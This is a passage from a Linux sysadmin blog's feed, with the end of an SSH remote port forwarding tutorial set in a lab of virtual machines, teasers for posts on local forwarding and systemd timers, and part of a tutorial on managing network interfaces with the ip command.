</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!rIoL!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb1845ee1-c7c0-4f99-89c7-25b4983bf4f6_905x428.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!rIoL!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb1845ee1-c7c0-4f99-89c7-25b4983bf4f6_905x428.png 424w, https://substackcdn.com/image/fetch/$s_!rIoL!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb1845ee1-c7c0-4f99-89c7-25b4983bf4f6_905x428.png 848w, https://substackcdn.com/image/fetch/$s_!rIoL!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb1845ee1-c7c0-4f99-89c7-25b4983bf4f6_905x428.png 1272w, https://substackcdn.com/image/fetch/$s_!rIoL!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb1845ee1-c7c0-4f99-89c7-25b4983bf4f6_905x428.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!rIoL!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb1845ee1-c7c0-4f99-89c7-25b4983bf4f6_905x428.png" width="905" height="428" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/b1845ee1-c7c0-4f99-89c7-25b4983bf4f6_905x428.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:428,&quot;width&quot;:905,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:88116,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/180338175?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb1845ee1-c7c0-4f99-89c7-25b4983bf4f6_905x428.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!rIoL!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb1845ee1-c7c0-4f99-89c7-25b4983bf4f6_905x428.png 424w, https://substackcdn.com/image/fetch/$s_!rIoL!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb1845ee1-c7c0-4f99-89c7-25b4983bf4f6_905x428.png 848w, https://substackcdn.com/image/fetch/$s_!rIoL!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb1845ee1-c7c0-4f99-89c7-25b4983bf4f6_905x428.png 1272w, https://substackcdn.com/image/fetch/$s_!rIoL!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb1845ee1-c7c0-4f99-89c7-25b4983bf4f6_905x428.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>from kay-pc:</p><pre><code><code>$ vagrant ssh kay-pc
$ ping aws-pub-instance
$ ping james-lap
</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!quWs!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F989c9a99-fdc7-4eee-b0cd-5d9fc2fd7043_905x458.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!quWs!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F989c9a99-fdc7-4eee-b0cd-5d9fc2fd7043_905x458.png 424w, https://substackcdn.com/image/fetch/$s_!quWs!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F989c9a99-fdc7-4eee-b0cd-5d9fc2fd7043_905x458.png 848w, https://substackcdn.com/image/fetch/$s_!quWs!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F989c9a99-fdc7-4eee-b0cd-5d9fc2fd7043_905x458.png 1272w, https://substackcdn.com/image/fetch/$s_!quWs!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F989c9a99-fdc7-4eee-b0cd-5d9fc2fd7043_905x458.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!quWs!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F989c9a99-fdc7-4eee-b0cd-5d9fc2fd7043_905x458.png" width="905" height="458" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/989c9a99-fdc7-4eee-b0cd-5d9fc2fd7043_905x458.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:458,&quot;width&quot;:905,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:86448,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/180338175?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F989c9a99-fdc7-4eee-b0cd-5d9fc2fd7043_905x458.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!quWs!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F989c9a99-fdc7-4eee-b0cd-5d9fc2fd7043_905x458.png 424w, https://substackcdn.com/image/fetch/$s_!quWs!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F989c9a99-fdc7-4eee-b0cd-5d9fc2fd7043_905x458.png 848w, https://substackcdn.com/image/fetch/$s_!quWs!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F989c9a99-fdc7-4eee-b0cd-5d9fc2fd7043_905x458.png 1272w, https://substackcdn.com/image/fetch/$s_!quWs!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F989c9a99-fdc7-4eee-b0cd-5d9fc2fd7043_905x458.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>As you can see, both James and Kay can reach the aws-pub-instance, but they cannot reach each other directly. and Also just to be sure that james&#8217;s local web application is running, let&#8217;s curl it from james-lap:</p><pre><code><code>$ curl localhost</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!LTZV!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc7f1863-31d0-46c2-970b-b9431dd74483_905x237.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!LTZV!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc7f1863-31d0-46c2-970b-b9431dd74483_905x237.png 424w, https://substackcdn.com/image/fetch/$s_!LTZV!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc7f1863-31d0-46c2-970b-b9431dd74483_905x237.png 848w, https://substackcdn.com/image/fetch/$s_!LTZV!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc7f1863-31d0-46c2-970b-b9431dd74483_905x237.png 1272w, https://substackcdn.com/image/fetch/$s_!LTZV!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc7f1863-31d0-46c2-970b-b9431dd74483_905x237.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!LTZV!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc7f1863-31d0-46c2-970b-b9431dd74483_905x237.png" width="905" height="237" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/fc7f1863-31d0-46c2-970b-b9431dd74483_905x237.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:237,&quot;width&quot;:905,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:35059,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/180338175?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc7f1863-31d0-46c2-970b-b9431dd74483_905x237.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!LTZV!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc7f1863-31d0-46c2-970b-b9431dd74483_905x237.png 424w, https://substackcdn.com/image/fetch/$s_!LTZV!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc7f1863-31d0-46c2-970b-b9431dd74483_905x237.png 848w, https://substackcdn.com/image/fetch/$s_!LTZV!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc7f1863-31d0-46c2-970b-b9431dd74483_905x237.png 1272w, https://substackcdn.com/image/fetch/$s_!LTZV!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc7f1863-31d0-46c2-970b-b9431dd74483_905x237.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>Great! The web application is up and running on James&#8217;s laptop. Now, let&#8217;s set up the remote port forwarding from james-lap to aws-pub-instance.</p><h3><strong>Creating the Remote SSH Tunnel</strong></h3><p>The <strong>syntax</strong> looks similar to local port forwarding, but with the <strong>-R</strong> option and reversed order of ports:</p><pre><code>$ ssh -N -R &lt;remote-address&gt;:&lt;remote_port&gt;:&lt;local_address&gt;:&lt;local_port&gt; user@remote_public_ssh_server</code></pre><p>Again we will break this down in a bit, but for now, let&#8217;s run the command on james-lap to create the remote tunnel:</p><p></p>
      <p>
          <a href="https://blog.sysxplore.com/p/part-2-ssh-remote-port-forwarding">
              Read more
          </a>
      </p>
   ]]></content:encoded></item><item><title><![CDATA[Part 1: SSH Tunnels Deep Dive - Local Port Forwarding]]></title><description><![CDATA[Most people only use SSH for logging into a remote machine, and they never look beyond that.]]></description><link>https://blog.sysxplore.com/p/part-1-ssh-local-port-forwarding</link><guid isPermaLink="false">https://blog.sysxplore.com/p/part-1-ssh-local-port-forwarding</guid><dc:creator><![CDATA[TRÄW🤟]]></dc:creator><pubDate>Mon, 01 Dec 2025 17:11:51 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/b0c239cf-c6ef-4c4a-b685-c029b00e0e07_1750x1250.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Most people only use <strong>SSH</strong> for logging into a remote machine, and they never look beyond that. But SSH can do far more than provide a secure shell. One of its most <strong>powerful but overlooked features</strong> is <strong>tunneling</strong>, the ability to move traffic through an <strong>encrypted channel</strong> and reach services you normally can&#8217;t access.</p><p>This becomes incredibly useful once you star&#8230;</p>
      <p>
          <a href="https://blog.sysxplore.com/p/part-1-ssh-local-port-forwarding">
              Read more
          </a>
      </p>
   ]]></content:encoded></item><item><title><![CDATA[Scheduling Jobs with Systemd Timers in Linux]]></title><description><![CDATA[Scheduling tasks in Linux can be a lifesaver when you want things done automatically.]]></description><link>https://blog.sysxplore.com/p/scheduling-jobs-with-systemd-timers</link><guid isPermaLink="false">https://blog.sysxplore.com/p/scheduling-jobs-with-systemd-timers</guid><dc:creator><![CDATA[TRÄW🤟]]></dc:creator><pubDate>Thu, 13 Nov 2025 17:02:50 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/c2f8da55-4a92-4993-b3f0-b7d273eb8a63_1750x1250.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Scheduling tasks in Linux can be a lifesaver when you want things done automatically. For many, <code>cron</code> is the go-to tool for scheduling, but <code>systemd</code> offers a newer alternative with more flexibility and control: <code>systemd timers</code>. In this guide, you&#8217;ll learn what systemd timers are, how they work, and how to create and manage them.</p><h2>What are Systemd Timers?</h2><p>In L&#8230;</p>
      <p>
          <a href="https://blog.sysxplore.com/p/scheduling-jobs-with-systemd-timers">
              Read more
          </a>
      </p>
   ]]></content:encoded></item><item><title><![CDATA[EP1: Networking in Linux - IP command]]></title><description><![CDATA[In Linux, almost everything about networking, interfaces, IP addresses, routing, and even the ARP cache, can be controlled from the terminal.]]></description><link>https://blog.sysxplore.com/p/ep1-networking-in-linux-ip-command</link><guid isPermaLink="false">https://blog.sysxplore.com/p/ep1-networking-in-linux-ip-command</guid><dc:creator><![CDATA[TRÄW🤟]]></dc:creator><pubDate>Sun, 09 Nov 2025 10:52:20 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/c790e8ac-7640-4e21-8469-d125963db8b1_1750x1250.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In Linux, almost everything about networking, interfaces, IP addresses, routing, and even the ARP cache, can be controlled from the terminal. For many years, tools like <code>ifconfig</code>, <code>route</code>, and <code>arp</code> handled these tasks, but those commands have long been deprecated. Their modern replacement is the <code>ip</code> command.</p><p><code>ip</code> is part of the <strong>iproute2</strong> suite, included by default in all modern Linux distributions. It&#8217;s a powerful all-in-one tool for managing network interfaces, IP addresses, routes, and neighbor tables, replacing older utilities like <code>ifconfig</code>, <code>route</code>, and <code>arp</code>.</p><p>You&#8217;ll use it to bring interfaces up or down, assign addresses, inspect routes, create network namespaces and even manipulate neighbor (ARP) tables.</p><p>In this episode, we&#8217;ll focus on using the <code>ip</code> command to manage network interfaces, addresses, routes, and connections on a Linux system.</p><h3>Peeking Inside the <code>ip</code> Command</h3><p>Before we start experimenting, let&#8217;s look at how the <code>ip</code> command is structured.</p><pre><code><code>ip [ OPTIONS ] OBJECT { COMMAND | help }</code></code></pre><p>At first glance, this may look dense, but it&#8217;s actually straightforward once you understand the pattern. The structure is always:</p><ol><li><p><strong>Options</strong> &#8211; Extra flags that change how <code>ip</code> behaves globally.</p></li><li><p><strong>Object</strong> &#8211; What part of the network you&#8217;re interacting with.</p><p>Each object represents a kernel networking subsystem. Some common ones are:</p><ul><li><p><code>link</code> &#8211; network interfaces (Ethernet, Wi-Fi, loopback)</p></li><li><p><code>address</code> &#8211; IPv4 or IPv6 addresses on those interfaces</p></li><li><p><code>route</code> &#8211; entries in the routing table</p></li><li><p><code>neighbor</code> &#8211; ARP or NDP neighbor cache</p></li><li><p><code>maddress</code> &#8211; multicast memberships</p></li><li><p><code>rule</code> &#8211; routing policy database</p></li></ul></li></ol><blockquote><p><strong>TIP</strong></p><p>You can use short forms too: addr for address, r for route, l for link, and so on.</p></blockquote><ol start="3"><li><p><strong>Command</strong> &#8211; The action you want to take on that object.</p><p>Each object supports its own set of commands:</p><ul><li><p><code>show</code> or <code>list</code> &#8211; display information</p></li><li><p><code>add</code> &#8211; create a new entry (address, route, etc.)</p></li><li><p><code>del</code> &#8211; remove an entry</p></li><li><p><code>replace</code> &#8211; update an existing one</p></li><li><p><code>help</code> &#8211; display valid options and syntax<code><br></code></p></li></ul></li></ol><h2>Managing Network Interfaces</h2><p>Every network device in Linux, whether wired, wireless, or virtual, is represented by an interface. These interfaces are managed through the <code>link</code> object of the <code>ip</code> command.</p><p>When you use <code>ip link</code>, you&#8217;re listing and controlling the network interfaces recognized by the system.</p><p>Let&#8217;s start exploring.</p><h3>Viewing All Interfaces</h3><p>To see all interfaces currently recognized by your system, run:</p><pre><code><code>ip link show</code></code></pre><p>You&#8217;ll get output similar to:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!CIUp!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F760c5589-4045-4d51-8a91-b816baebb370_1074x229.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!CIUp!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F760c5589-4045-4d51-8a91-b816baebb370_1074x229.png 424w, https://substackcdn.com/image/fetch/$s_!CIUp!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F760c5589-4045-4d51-8a91-b816baebb370_1074x229.png 848w, https://substackcdn.com/image/fetch/$s_!CIUp!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F760c5589-4045-4d51-8a91-b816baebb370_1074x229.png 1272w, https://substackcdn.com/image/fetch/$s_!CIUp!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F760c5589-4045-4d51-8a91-b816baebb370_1074x229.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!CIUp!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F760c5589-4045-4d51-8a91-b816baebb370_1074x229.png" width="1074" height="229" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/760c5589-4045-4d51-8a91-b816baebb370_1074x229.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:229,&quot;width&quot;:1074,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:55698,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/178288655?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F760c5589-4045-4d51-8a91-b816baebb370_1074x229.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!CIUp!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F760c5589-4045-4d51-8a91-b816baebb370_1074x229.png 424w, https://substackcdn.com/image/fetch/$s_!CIUp!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F760c5589-4045-4d51-8a91-b816baebb370_1074x229.png 848w, https://substackcdn.com/image/fetch/$s_!CIUp!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F760c5589-4045-4d51-8a91-b816baebb370_1074x229.png 1272w, https://substackcdn.com/image/fetch/$s_!CIUp!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F760c5589-4045-4d51-8a91-b816baebb370_1074x229.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>Let&#8217;s decode that quickly:</p><ul><li><p>The number (<code>1:</code>, <code>2:</code>) is the interface index.</p></li><li><p><code>lo</code> and <code>enp0s3, enp0s8</code> are interface names.</p></li><li><p>Flags inside <code>&lt; &gt;</code> describe capabilities and state (<code>UP</code>, <code>BROADCAST</code>, <code>MULTICAST</code>, etc.).</p></li><li><p><code>mtu</code> is the <strong>maximum transmission unit</strong>, the largest packet size the interface can handle.</p></li><li><p><code>link/ether</code> shows the MAC address (hardware address).</p></li><li><p>The <code>state</code> tells whether the interface is currently <em>up</em> (active) or <em>down</em>.</p></li></ul><blockquote><p>NOTE</p><p><code>lo</code> is the <strong>loopback</strong> interface, a virtual interface the system uses to talk to itself. It&#8217;s always present and usually stays up.</p></blockquote><p></p><div><hr></div><p>Sysxplore is an indie, reader-supported publication.<br>I break down complex technical concepts in a straightforward way, making them easy to grasp. A lot of research goes into every piece to ensure the information you read is as accurate and practical as possible.</p><p>To support my work, consider becoming a <strong>free or paid subscriber</strong> and join the growing community of tech professionals.</p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://blog.sysxplore.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://blog.sysxplore.com/subscribe?"><span>Subscribe now</span></a></p><div><hr></div><p></p><h3>Bringing an Interface Down</h3><p>If you want to temporarily disable a network interface, use:</p><pre><code><code>$ sudo ip link set dev enp0s8 down</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!hjed!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f36a8fc-bbd0-403b-a820-ce8cdafdff6e_1076x229.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!hjed!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f36a8fc-bbd0-403b-a820-ce8cdafdff6e_1076x229.png 424w, https://substackcdn.com/image/fetch/$s_!hjed!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f36a8fc-bbd0-403b-a820-ce8cdafdff6e_1076x229.png 848w, https://substackcdn.com/image/fetch/$s_!hjed!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f36a8fc-bbd0-403b-a820-ce8cdafdff6e_1076x229.png 1272w, https://substackcdn.com/image/fetch/$s_!hjed!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f36a8fc-bbd0-403b-a820-ce8cdafdff6e_1076x229.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!hjed!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f36a8fc-bbd0-403b-a820-ce8cdafdff6e_1076x229.png" width="1076" height="229" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/7f36a8fc-bbd0-403b-a820-ce8cdafdff6e_1076x229.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:229,&quot;width&quot;:1076,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:46444,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/178288655?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f36a8fc-bbd0-403b-a820-ce8cdafdff6e_1076x229.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!hjed!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7f36a8fc-bbd0-403b-a820-ce8cdafdff6e_1076x229.png 424w, 